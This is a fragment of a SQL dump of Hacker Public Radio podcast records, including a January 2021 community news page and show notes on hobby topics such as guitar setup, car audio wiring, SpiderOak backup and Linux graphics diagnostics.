detection by PCR explanation</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3249\" target=\"_blank\">3249</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-01-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3249\" target=\"_blank\">Linux Inlaws S01E21: The Big Linux Inlaws Peep Show</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3250\" target=\"_blank\">3250</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-01-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3250\" target=\"_blank\">GIMP: Getting Started With Layers</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3251\" target=\"_blank\">3251</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-01-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3251\" target=\"_blank\">Opposing Views on Alcohol</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3252\" target=\"_blank\">3252</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-01-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3252\" target=\"_blank\">Simple JSON querying tool (also YAML, and to a lesser extent XML)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=385\" target=\"_blank\">crvs</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3253\" target=\"_blank\">3253</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-01-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3253\" target=\"_blank\">Pandas Intro</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=39\" target=\"_blank\">Enigma</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3254\" target=\"_blank\">3254</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-01-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3254\" target=\"_blank\">The Markdown editor Retext</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3255\" target=\"_blank\">3255</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-01-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3255\" target=\"_blank\">garage door part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3256\" target=\"_blank\">3256</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-01-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3256\" target=\"_blank\">Update, MS Teams, Covid 19, Raspberry PI 400 Raspberry PI 4 8GB Centos</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3257\" target=\"_blank\">3257</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-01-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3257\" target=\"_blank\">Lack of diversity in Linux and other open source communities</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3258\" target=\"_blank\">3258</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-01-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3258\" target=\"_blank\">Linux Inlaws S01E22: The Linux Professional Institute</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3259\" target=\"_blank\">3259</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-01-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3259\" target=\"_blank\">Nextcloud - The easy way</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3260\" target=\"_blank\">3260</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-01-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3260\" target=\"_blank\">Free, Public Domain and Creative Commons Assets</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 21 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 2 comments on\n2 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3236#comments\" target=\"_blank\">hpr3236</a></strong>\n(2020-12-28) \"<em>The State of Linux Audio Apps in 2020</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=11\" target=\"_blank\">Pat from TLLTS</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3236#2\" target=\"_blank\">Comment 2</a>:\nMarc Lavallee on 2021-01-10:\n\"Jack and Pulseadio\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3237#comments\" target=\"_blank\">hpr3237</a></strong>\n(2020-12-29) \"<em>Cloning a Hard Drive with Clonezilla</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3237#1\" target=\"_blank\">Comment 1</a>:\njezra on 2021-01-04:\n\"blather\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 19 comments on 12 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3240#comments\" target=\"_blank\">hpr3240</a></strong>\n(2021-01-01) \"<em>Linux Under Attack</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3240#1\" target=\"_blank\">Comment 1</a>:\nGreat episode on 2021-01-11:\n\"Important information, thank you\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3242#comments\" target=\"_blank\">hpr3242</a></strong>\n(2021-01-05) \"<em>The eternal battle over how to run your chromebook is about to begin</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3242#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2021-01-06:\n\"Video\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3242#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2021-01-07:\n\"Cool skills\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3242#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2021-01-08:\n\"I loved the show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3242#4\" target=\"_blank\">Comment 4</a>:\nReto on 2021-01-17:\n\"I like the concept\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3244#comments\" target=\"_blank\">hpr3244</a></strong>\n(2021-01-07) \"<em>Interview with Anco Scholte ter Horst CEO of Freedom Internet</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3244#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2021-01-12:\n\"I\'m jealous!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3244#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2021-01-24:\n\"Great show for lifting the spirits\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3245#comments\" target=\"_blank\">hpr3245</a></strong>\n(2021-01-08) \"<em>ELECTRICITY</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3245#1\" target=\"_blank\">Comment 1</a>:\nPaul Quirk on 2020-11-07:\n\"Show warning\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3246#comments\" target=\"_blank\">hpr3246</a></strong>\n(2021-01-11) \"<em>LXCast: freeing the Fairphone 3 (and many other phones) </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=285\" target=\"_blank\">2BFrank</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3246#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2021-01-19:\n\"I loved the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3247#comments\" target=\"_blank\">hpr3247</a></strong>\n(2021-01-12) \"<em>Saturday Morning Automotive Routine</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=389\" target=\"_blank\">TrumpetJohn</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3247#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2021-01-19:\n\"Excellent!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3248#comments\" target=\"_blank\">hpr3248</a></strong>\n(2021-01-13) \"<em>SARS-CoV-2 detection by PCR explanation</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3248#1\" target=\"_blank\">Comment 1</a>:\nnorrist on 2021-01-13:\n\"Is b-yeezi  a genius?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3248#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2021-01-20:\n\"Another fantastic show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3249#comments\" target=\"_blank\">hpr3249</a></strong>\n(2021-01-14) \"<em>Linux Inlaws S01E21: The Big Linux Inlaws Peep Show</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3249#1\" target=\"_blank\">Comment 1</a>:\nOperat0r on 2021-01-22:\n\"greets!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3252#comments\" target=\"_blank\">hpr3252</a></strong>\n(2021-01-19) \"<em>Simple JSON querying tool (also YAML, and to a lesser extent XML)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=385\" target=\"_blank\">crvs</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3252#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2021-01-29:\n\"Using this today\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3253#comments\" target=\"_blank\">hpr3253</a></strong>\n(2021-01-20) \"<em>Pandas Intro</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=39\" target=\"_blank\">Enigma</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3253#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2021-01-20:\n\"New info, even for me\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3257#comments\" target=\"_blank\">hpr3257</a></strong>\n(2021-01-26) \"<em>Lack of diversity in Linux and other open source communities</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3257#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2021-01-26:\n\"I can relate\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3257#2\" target=\"_blank\">Comment 2</a>:\nTony Hughes on 2021-01-26:\n\"The lack of diversity in Linux\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3257#3\" target=\"_blank\">Comment 3</a>:\nBeeza on 2021-01-27:\n\"Thoughts on diversity\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3258#comments\" target=\"_blank\">hpr3258</a></strong>\n(2021-01-27) \"<em>Linux Inlaws S01E22: The Linux Professional Institute</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3258#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2021-01-28:\n\"I loved the show\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-January/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-January/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a></b></p>\n<p>Over the period tags and/or summaries have been added to 3 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2973,'2019-12-25','Introduction to Advent of Code',836,'Advent of code is a challenge each year between 1-25 of December.','<p>I discuss all the challenges we have seen so far during the Advent of Code and talk about what they entailed and how hard they were to solve.</p>',382,0,0,'CC-BY-SA','coding, challenge',0,0,1),
(2974,'2019-12-26','Guitar Setup pt. 2',3107,'NYbill finish a guitar setup.','<p>Heh, listen to NYbill tune a guitar for an hour.</p>\r\n<p>Part two of guitar set up. Fret polishing, neck relief, string height, and intonation.</p>\r\n<h3 id=\"suppliers\">Suppliers:</h3>\r\n<ul>\r\n<li><p>Stewart MacDonald:<br />\r\n<a href=\"https://www.stewmac.com/\" class=\"uri\">https://www.stewmac.com/</a></p></li>\r\n<li><p>Warmoth:<br />\r\n<a href=\"https://www.warmoth.com/\" class=\"uri\">https://www.warmoth.com/</a></p></li>\r\n<li><p>Allied Lutherie:<br />\r\n<a href=\"https://alliedlutherie.com/\" class=\"uri\">https://alliedlutherie.com/</a></p></li>\r\n<li><p>Guitar Fetish:<br />\r\n<a href=\"https://www.guitarfetish.com/\" class=\"uri\">https://www.guitarfetish.com/</a></p></li>\r\n<li><p>Zona micro fiber polishing paper:<br />\r\n<a href=\"https://www.zonatool.net/cat/scroll-sander-sanding-tools/3m-wet-dry-micron-graded-polishing-papers/\" class=\"uri\">https://www.zonatool.net/cat/scroll-sander-sanding-tools/3m-wet-dry-micron-graded-polishing-papers/</a></p></li>\r\n<li><p>Pics for the episode:<br />\r\n<a href=\"https://media.gunmonkeynet.net/u/nybill/collection/guitar-setup-pt-2/\" class=\"uri\">https://media.gunmonkeynet.net/u/nybill/collection/guitar-setup-pt-2/</a></p></li>\r\n</ul>\r\n',235,0,0,'CC-BY-SA','Guitar, Setup, Repair',0,0,1),
(2977,'2019-12-31','World of Commodore 2019 Episode 3: Life after Commodore',1660,'A presentation by Dr. Richard Immers, author of \"Inside Commodore DOS\"','<p>Some relevant links of note:</p>\r\n<ul>\r\n<li><a href=\"https://www.goodreads.com/author/show/826731.Richard_C_Immers\" class=\"uri\">https://www.goodreads.com/author/show/826731.Richard_C_Immers</a></li>\r\n<li><a href=\"https://www.youtube.com/user/TorontoPETUsersGroup/\" class=\"uri\">https://www.youtube.com/user/TorontoPETUsersGroup/</a></li>\r\n<li><a href=\"https://www.tpug.ca/\" class=\"uri\">https://www.tpug.ca/</a></li>\r\n<li><a href=\"https://pquirk.com/\" class=\"uri\">https://pquirk.com/</a></li>\r\n</ul>\r\n',383,78,0,'CC-BY-SA','Commodore,PET,Amiga,64,Geckos,retro,Inside Commodore,DOS',0,0,1),
(2978,'2020-01-01','GARAGE DOOR',738,'I talk about various GARAGE DOOR and fixes','<p>Are you afraid if your garage door ? Have no fear!</p>',36,0,1,'CC-BY-SA','home improvement, garage door ,DIY',0,0,1),
(2982,'2020-01-07','World of Commodore 2019 Episode 4: Bare metal c64 Emulation on Raspberry Pi',2420,'Randy Rossi\'s presentation of his Github project on bare metal emulation of the C64 on a Pi 3.','<p>Links of note:</p>\r\n<ul>\r\n<li><a href=\"https://github.com/randyrossi/bmc64\" class=\"uri\">https://github.com/randyrossi/bmc64</a></li>\r\n<li><a href=\"https://www.youtube.com/user/TorontoPETUsersGroup/\" class=\"uri\">https://www.youtube.com/user/TorontoPETUsersGroup/</a></li>\r\n<li><a href=\"https://www.tpug.ca/\" class=\"uri\">https://www.tpug.ca/</a></li>\r\n<li><a href=\"https://pquirk.com/\" class=\"uri\">https://pquirk.com/</a></li>\r\n</ul>',383,103,0,'CC-BY-SA','Raspberry,Pi,emulation,Commodore,64,World of Commodore,TPUG,Toronto,Pet,Users,Group,Github,Open Sour',0,0,1),
(2985,'2020-01-10','Firefox Update',1046,'Some recent updates to Firefox that add useful features','<p>Firefox has been the more secure alternative to Chrome, and it has over the last few months made some updates. So we may want to take a look and see if these are any good, and ask if they add to the security. In some cases there are valuable improvements, such as Facebook Container and the Monitor service.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.mozilla.org/en-US/firefox/flashback/\" class=\"uri\">https://www.mozilla.org/en-US/firefox/flashback/</a></li>\r\n<li><a href=\"https://www.mozilla.org/en-US/firefox/privacy/\" class=\"uri\">https://www.mozilla.org/en-US/firefox/privacy/</a></li>\r\n<li><a href=\"https://www.mozilla.org/en-US/privacy/firefox/\" class=\"uri\">https://www.mozilla.org/en-US/privacy/firefox/</a></li>\r\n<li><a href=\"https://support.mozilla.org/en-US/kb/firefox-accounts-managing-account-data\" class=\"uri\">https://support.mozilla.org/en-US/kb/firefox-accounts-managing-account-data</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1072\" class=\"uri\">https://www.zwilnik.com/?page_id=1072</a></li>\r\n</ul>\r\n',198,74,0,'CC-BY-SA','Firefox, Sync, Container',0,0,1),
(2986,'2020-01-13','Onlykey Updated',1390,'Onlykey more like you better have two keys!','<p>I chat about Onlykey updates along with plugins / updates / issues/ fixes</p>\r\n<p><a href=\"https://chrome.google.com/webstore/detail/onlykey-configuration/adafilbceehejjehoccladhbkgbjmica?hl=en-US\" class=\"uri\">https://chrome.google.com/webstore/detail/onlykey-configuration/adafilbceehejjehoccladhbkgbjmica?hl=en-US</a></p>\r\n',36,74,1,'CC-BY-SA','fob,2fa,onlykey,security,computers',0,0,1),
(2991,'2020-01-20','Fix yer fog machine',674,'Save Your Fog Machine today!','<p><a href=\"https://smile.amazon.com/gp/product/B077HYSYSG\" class=\"uri\">https://smile.amazon.com/gp/product/B077HYSYSG</a></p>\r\n',36,0,1,'CC-BY-SA','Halloween,fog machine,DIY',0,0,1),
(2996,'2020-01-27','Spideroak Update',465,'I give you an update on my cloud backup solution and fixes','<p><a href=\"https://spideroak.support/hc/en-us/articles/115001891343-Command-Line-Reference\" class=\"uri\">https://spideroak.support/hc/en-us/articles/115001891343-Command-Line-Reference</a></p>\r\n<p>service script:</p>\r\n<pre><code># Make sure you have space or link the base path to some place else\r\n# make sure you have R/W for the plex user\r\n# ln -s /media/data/SPIDEROAK_CONFIG/ /home/plex/.config/SpiderOakONE\r\n\r\n[Unit]\r\nDescription=SPIDEROAK STARTUP\r\nAfter=network.target\r\n\r\n[Service]\r\nUser=plex\r\nGroup=adm\r\n\r\nType=simple\r\nExecStart=/bin/bash -c &#39;\r\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin ;\r\n/usr/bin/SpiderOakONE --headless --verbose&#39;\r\n\r\n[Install]\r\nWantedBy=multi-user.target</code></pre>\r\n',36,0,1,'CC-BY-SA','cloud backup,computers,linux,spideroak one,spideroak',0,0,1),
(3006,'2020-02-10','Hijack Auxiliary Input of your car!',2159,'I talk about my Q40 and getting Auxiliary Input when your car does not have one','<p><a href=\"https://www.myg37.com/forums/audio-video-and-electronics/285929-2015-infiniti-q40-4dr-with-crap-audio.html\" class=\"uri\">https://www.myg37.com/forums/audio-video-and-electronics/285929-2015-infiniti-q40-4dr-with-crap-audio.html</a></p>\r\n<p><a href=\"https://rmccurdy.com/.scripts/downloaded/www.nicoclub.com/FSM/Q40/2015%20Q40/\" class=\"uri\">https://rmccurdy.com/.scripts/downloaded/www.nicoclub.com/FSM/Q40/2015%20Q40/</a></p>\r\n<p><strong>Updated: Solved:</strong> The audio could use a dac or something nice but this will do. Not (DO NOT PLUG IN THE HARNESS WRONG ORDER OR YOU WILL BLOW AT LEAST 4 FUSES ) I had to swap out 3 in the passenger side and 1 for the rear lights on the IPDM E/R next to the battery in a #@$% spot.</p>\r\n<p>pulled the pins and soldered a audio jack to them and fed it though the AC vent :</p>\r\n<p>pin 1 - G : Satellite radio sound signal LH pin 2 + R : Satellite radio sound signal LH pin 3 - w : Satellite radio sound signal RH pin 4 + b : Satellite radio sound signal RH</p>\r\n<h4 id=\"reference\">Reference:</h4>\r\n<ul>\r\n<li><a href=\"https://www.myg37.com/forums/audio-v...ml#post4253485\" class=\"uri\">https://www.myg37.com/forums/audio-v...ml#post4253485</a></li>\r\n<li><a href=\"https://rmccurdy.com/.scripts/downlo...5%20Q40/av.pdf\" class=\"uri\">https://rmccurdy.com/.scripts/downlo...5%20Q40/av.pdf</a> pg 42</li>\r\n</ul>\r\n<p><b>NOT SOLVED 08/21/2019 :</b> So I\'m sick of this jank setup .. the software is wonky and works about 1/2 the time .. I have to ƒ@#$ with it for about 5-10 min every time I want to use it … WIRELINQ is crap.. and I don\'t want the 600$ BT mod .. I just want AUX in !! I dont care if CD or SAT is spliced!</p>\r\n<ul>\r\n<li>NO I\'m not using a Apple device ..</li>\r\n<li>NO I\'m not going BT because its crap audio ..</li>\r\n<li>NO I\'m not using MONO or anything like that (discord) because that\'s even worse then BT…</li>\r\n<li>NO I\'m not using a FM Transmitter because that\'s just stupid its a 2015 car it should have AUX input ..</li>\r\n</ul>\r\n<p>maybe I can hack it myself the issue is that the SAT is in the @<span class=\"math inline\"></span>^ing trunk .. so I would have to find the wires that go to the trunk. I use a long speaker wire with alligator clips on it and a continuity tester (volt meter ) to hunt for it …</p>\r\n<p>Part No<br />\r\n2591a 1ma5e</p>\r\n<p>Model No<br />\r\ncv-vn01e04d</p>\r\n<p>\"11 12 Infiniti G25 G37 Radio CD Player 2591A-1MA5E Bulk 711\"</p>\r\n<p><b>SOLVED 01/20/2018 :</b> YAY ! this works and I dont have to have grap BT audio</p>\r\n<ul>\r\n<li>2015 INFINITI Q40 NONAV ANDROID</li>\r\n<li>IPOD WIRELINQ GROM-WLQ</li>\r\n<li>Electop 2 Pack USB 2.0 A Female to USB Micro Female Adapter Converter</li>\r\n<li>Wsken Mini2 Micro USB Magnetic LED Display Data Sync Fast Charge 3.28ft Cable for Android (Silver)</li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','Car Audio,DIY,music,cars,auto',0,0,1),
(3011,'2020-02-17','Linux is HARD rant with Intel graphics',1228,'I go over my issues around Linux in general specifically Video issues','<p>Help me help you! I rant about linux and Video drivers etc …</p>\r\n<p>Get Video and CPU Info<br />\r\nchrome://gpu</p>\r\n<pre><code># gives you info about video GPU in chrome!\r\nchrome://gpu</code></pre>\r\n<p>phoronix-test-suite system-info</p>\r\n<pre><code># neat little project to dump out all kinds of info\r\nphoronix-test-suite system-info</code></pre>\r\n<pre><code># get hard disk temperatures !\r\n\r\nhddtemp /dev/sdb\r\n/dev/sdb: WDC WD4003FZEX-00Z4SA0: 37°C\r\nhddtemp /dev/sdc\r\n/dev/sdc: WDC WD4003FZEX-00Z4SA0: 36°C</code></pre>\r\n<p>vainfo - display information from VA API driver</p>\r\n<p>lspci specific device</p>\r\n<pre><code>lspci -v -s 00:02.0\r\n00:02.0 VGA compatible controller: Intel Corporation UHD Graphics 630 (Desktop) (prog-if 00 [VGA controller])\r\n        Subsystem: ASRock Incorporation Device 3e92\r\n        Flags: bus master, fast devsel, latency 0, IRQ 126\r\n        Memory at a0000000 (64-bit, non-prefetchable) [size=16M]\r\n        Memory at 90000000 (64-bit, prefetchable) [size=256M]\r\n        I/O ports at 4000 [size=64]\r\n        [virtual] Expansion ROM at 000c0000 [disabled] [size=128K]\r\n        Capabilities: [40] Vendor Specific Information: Len=0c &lt;?&gt;\r\n        Capabilities: [70] Express Root Complex Integrated Endpoint, MSI 00\r\n        Capabilities: [ac] MSI: Enable+ Count=1/1 Maskable- 64bit-\r\n        Capabilities: [d0] Power Management version 2\r\n        Capabilities: [100] Process Address Space ID (PASID)\r\n        Capabilities: [200] Address Translation Service (ATS)\r\n        Capabilities: [300] Page Request Interface (PRI)\r\n        Kernel driver in use: i915\r\n        Kernel modules: i915\r\nlshw\r\n#  lshw is a small tool to extract detailed information on the hardware configuration of the machine\r\n\r\nlshw -c video\r\n  *-display\r\n       description: VGA compatible controller\r\n       product: UHD Graphics 630 (Desktop)\r\n       vendor: Intel Corporation\r\n       physical id: 2\r\n       bus info: pci@0000:00:02.0\r\n       version: 00\r\n       width: 64 bits\r\n       clock: 33MHz\r\n       capabilities: pciexpress msi pm vga_controller bus_master cap_list rom\r\n       configuration: driver=i915 latency=0\r\n       resources: irq:126 memory:a0000000-a0ffffff memory:90000000-9fffffff ioport:4000(size=64) memory:c0000-dffff</code></pre>\r\n<p>glxinfo</p>\r\n<p>The glxinfo program shows information about the OpenGL and GLX implementations running on a given X display.</p>\r\n<pre><code>glxinfo | egrep -i &#39;device|memory|OpenGL|direct&#39;</code></pre>\r\n<p>dmesg</p>\r\n<pre><code>dmesg | grep -e IOMMU -e DMAR\r\n\r\ndmesg | grep -E &#39;drm|radeon&#39; | grep -iE &#39;firmware|microcode&#39;\r\ndmesg | grep -i -e i915 -e drm -e vga</code></pre>\r\n<p>dmidecode - DMI table decoder</p>\r\n<pre><code>dmidecode -t baseboard | grep -i &#39;Product&#39;</code></pre>\r\n<p>GPU usage</p>\r\n<pre><code>apt-get install intel-gpu-tools | intel_gpu_top</code></pre>\r\n<p>Google Dorks</p>\r\n<ul>\r\n<li>when googleing try -ubuntu -xubuntu</li>\r\n<li>when searching for start up stuff use ‘systemd’ in your query</li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','linux,video,DIY,xbmc,kodi,ubuntu,debian',0,0,1),
